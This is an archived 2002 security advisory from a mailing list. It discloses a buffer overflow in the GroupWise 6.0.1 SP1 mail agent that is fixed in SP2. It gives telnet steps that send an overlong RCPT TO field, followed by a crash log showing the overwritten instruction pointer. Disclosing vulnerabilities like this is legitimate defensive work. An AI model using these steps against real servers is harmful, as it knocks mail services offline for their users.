

[NEWS] Novell GroupWise 6.0.1 Support Pack 1 Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0116.html>

From: support@securiteam.com

Date: 07/25/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 25 Jul 2002 14:17:23 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Novell GroupWise 6.0.1 Support Pack 1 Buffer Overflow

SUMMARY

A buffer overflow was found in Novell GroupWise 6.0.1 (Support Pack 1). Malicious users can insert code in the RCPT field that leads to a buffer overflow which crashes the machine and potentially is exploitable (this has not been tested there was already a fix available).

DETAILS

Vulnerable version information:

This overflow was found in GroupWise 6.0.1 Service Pack 1 on a Novell NetWare 5.1 Support Pack 3. According to Novell and our own findings, GW SP2 is NOT vulnerable to this attack. This was not tested on other versions and Support Packs of NetWare.

Method and technical information:

Hostname and IP have been changed for privacy reasons.

```
$ telnet groupwise 25
```

```
Trying 192.168.1.1...
```

```
Connected to groupwise.
```

```
Escape character is '^'.
```

Securiteam: [NEWS] Novell GroupWise 6.0.1 Support Pack 1 Buffer Overflow

```
220 220 groupwise GroupWise Internet Agent 6.0.1 (C)1993, 2002 Novell,
Inc. Ready
helo bla
250 groupwise Ok
mail from: me@somehost.com
250 Ok
rcpt to: lots of A's (found it by inserting 682 A's)
^]
telnet> q
Connection closed.
$
```

At this point, the server crashed and was unreachable. Below is the abend log of the mail server.

-----ABEND LOG-----

```
Server groupwise halted Wednesday, 3 July 2002 9:28:57
Abend 1 on P00: Server-5.00j: Page Fault Processor Exception (Error code
00000000)
```

Registers:

```
CS = 0008 DS = 0010 ES = 0010 FS = 0010 GS = 0010 SS = 0010
EAX = 00000000 EBX = 41414141 ECX = A831E7FC EDX = A8320275
ESI = 41414141 EDI = 41414141 EBP = 41414141 ESP = A831E910
EIP = 41414141 FLAGS = 00014206
Address (41414141) exceeds valid memory limit
EIP in UNKNOWN memory area
Access Location: 0x41414141
```

The violation occurred while processing the following instruction:

```
Running process: GWIA-smtprcv-008 Process
Created by: NetWare Application
Thread Owned by NLM: GWIA.NLM
Stack pointer: A831E770
OS Stack limit: A8318760
Scheduling priority: 67371008
Wait state: 5050090 (Wait for interrupt)
Stack: --41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
--41414141 ?
```


ADDITIONAL INFORMATION

The information has been provided by <mailto:m.v.berkum@obit.nl> Marco van Berkum.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Microsoft SQL Server 2000 Unauthenticated System Compromise"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)